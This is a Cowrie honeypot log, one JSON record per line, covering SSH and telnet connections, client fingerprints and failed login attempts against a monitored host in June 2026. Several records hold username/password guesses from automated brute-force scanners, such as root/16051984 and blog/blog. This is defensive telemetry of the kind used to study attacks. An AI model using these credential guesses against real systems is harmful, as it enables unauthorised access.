{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:24:36.164080Z","src_ip":"216.155.93.75","session":"1273b35bb245","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34516,"dst_ip":"159.203.135.109","dst_port":23,"session":"0aeac9879bcf","protocol":"telnet","message":"New connection: 128.199.8.54:34516 (159.203.135.109:23) [session: 0aeac9879bcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:24:45.933698Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":35070,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f7d504d6ef4","protocol":"ssh","message":"New connection: 103.15.222.183:35070 (159.203.135.109:22) [session: 2f7d504d6ef4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:25:23.661374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:25:23.665710Z","src_ip":"103.15.222.183","session":"2f7d504d6ef4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:25:23.909740Z","src_ip":"103.15.222.183","session":"2f7d504d6ef4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"16051984","message":"login attempt [root/16051984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:25:24.644612Z","src_ip":"103.15.222.183","session":"2f7d504d6ef4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:25:25.890966Z","src_ip":"103.15.222.183","session":"2f7d504d6ef4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.03352618217468,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:25:32.967097Z","src_ip":"128.199.8.54","session":"0aeac9879bcf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.19.241","src_port":45910,"dst_ip":"159.203.135.109","dst_port":22,"session":"f843425871e1","protocol":"ssh","message":"New connection: 85.198.19.241:45910 (159.203.135.109:22) [session: f843425871e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:26:30.051362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:26:31.948797Z","src_ip":"85.198.19.241","session":"f843425871e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:26:31.952062Z","src_ip":"85.198.19.241","session":"f843425871e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ospite","password":"ospite","message":"login attempt [ospite/ospite] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:26:33.419212Z","src_ip":"85.198.19.241","session":"f843425871e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:26:34.586003Z","src_ip":"85.198.19.241","session":"f843425871e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":53992,"dst_ip":"159.203.135.109","dst_port":23,"session":"55bfa974a409","protocol":"telnet","message":"New connection: 172.81.62.90:53992 (159.203.135.109:23) [session: 55bfa974a409]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:26:45.583582Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":47361,"dst_ip":"159.203.135.109","dst_port":22,"session":"331c074b4d6b","protocol":"ssh","message":"New connection: 216.155.93.75:47361 (159.203.135.109:22) [session: 331c074b4d6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:26:57.290285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:26:57.296410Z","src_ip":"216.155.93.75","session":"331c074b4d6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:26:57.452601Z","src_ip":"216.155.93.75","session":"331c074b4d6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@","message":"login attempt [root/root@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:26:58.104063Z","src_ip":"216.155.93.75","session":"331c074b4d6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:26:59.261403Z","src_ip":"216.155.93.75","session":"331c074b4d6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":34950,"dst_ip":"10.17.0.5","dst_port":22,"session":"36f88bd61301","protocol":"ssh","message":"New connection: 62.133.62.83:34950 (10.17.0.5:22) [session: 36f88bd61301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:27:10.800578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:27:10.805000Z","src_ip":"62.133.62.83","session":"36f88bd61301","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:27:10.885767Z","src_ip":"62.133.62.83","session":"36f88bd61301","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qetuo13579","message":"login attempt [root/qetuo13579] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:27:11.123283Z","src_ip":"62.133.62.83","session":"36f88bd61301","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:27:12.204237Z","src_ip":"62.133.62.83","session":"36f88bd61301","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.87177348136902,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:27:19.455264Z","src_ip":"172.81.62.90","session":"55bfa974a409","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":57288,"dst_ip":"10.17.0.5","dst_port":22,"session":"29e8e2293b91","protocol":"ssh","message":"New connection: 182.93.50.90:57288 (10.17.0.5:22) [session: 29e8e2293b91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:27:33.914701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:27:33.918701Z","src_ip":"182.93.50.90","session":"29e8e2293b91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:27:34.136914Z","src_ip":"182.93.50.90","session":"29e8e2293b91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"blog","password":"blog","message":"login attempt [blog/blog] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:27:35.044243Z","src_ip":"182.93.50.90","session":"29e8e2293b91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:27:36.270231Z","src_ip":"182.93.50.90","session":"29e8e2293b91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":38224,"dst_ip":"159.203.135.109","dst_port":22,"session":"beaa2f2a477e","protocol":"ssh","message":"New connection: 193.37.70.224:38224 (159.203.135.109:22) [session: beaa2f2a477e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:28:09.879620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:28:10.158680Z","src_ip":"193.37.70.224","session":"beaa2f2a477e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:28:10.162279Z","src_ip":"193.37.70.224","session":"beaa2f2a477e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:28:11.142169Z","src_ip":"193.37.70.224","session":"beaa2f2a477e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:28:12.238976Z","src_ip":"193.37.70.224","session":"beaa2f2a477e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56564,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3eca5fb312b","protocol":"telnet","message":"New connection: 128.199.8.54:56564 (159.203.135.109:23) [session: b3eca5fb312b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:28:36.807102Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":40684,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb75bb119842","protocol":"ssh","message":"New connection: 38.93.206.2:40684 (10.17.0.5:22) [session: bb75bb119842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:28:48.302263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:28:48.306398Z","src_ip":"38.93.206.2","session":"bb75bb119842","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:28:48.358487Z","src_ip":"38.93.206.2","session":"bb75bb119842","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lbptkm","message":"login attempt [root/lbptkm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:28:48.523616Z","src_ip":"38.93.206.2","session":"bb75bb119842","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:28:49.618179Z","src_ip":"38.93.206.2","session":"bb75bb119842","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":42844,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3581d6c3912","protocol":"ssh","message":"New connection: 103.77.242.62:42844 (10.17.0.5:22) [session: b3581d6c3912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:29:03.314217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:29:03.319117Z","src_ip":"103.77.242.62","session":"b3581d6c3912","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:29:03.563940Z","src_ip":"103.77.242.62","session":"b3581d6c3912","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"17051984","message":"login attempt [root/17051984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:29:04.299540Z","src_ip":"103.77.242.62","session":"b3581d6c3912","protocol":"ssh"}
